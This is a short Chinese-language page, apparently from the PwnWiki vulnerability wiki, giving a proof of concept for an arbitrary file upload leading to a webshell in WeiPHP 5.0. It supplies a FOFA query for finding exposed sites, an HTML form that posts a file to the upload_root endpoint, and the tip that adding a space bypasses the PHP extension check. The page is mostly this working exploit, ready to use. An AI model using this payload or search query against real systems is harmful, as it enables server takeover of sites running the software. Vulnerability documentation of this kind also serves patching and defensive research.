Loading
0

Weiphp5.0上传getshell

PWNWIK.COM

,

FOFA

body=”weiphp5.0”

POC

构造html表单提交上传:

<html>
<body>
<form action="http://127.0.0.1/weiphp/public/index.php/home/File/upload_root" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="download" id="file" />  
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

用表单进行提交,上传成功(由于该代码有验证是否为php,所以空格绕过即可)

Xnip2021-06-30 09-31-34.jpg

免费、自由、人人可编辑的漏洞库--PwnWiki.com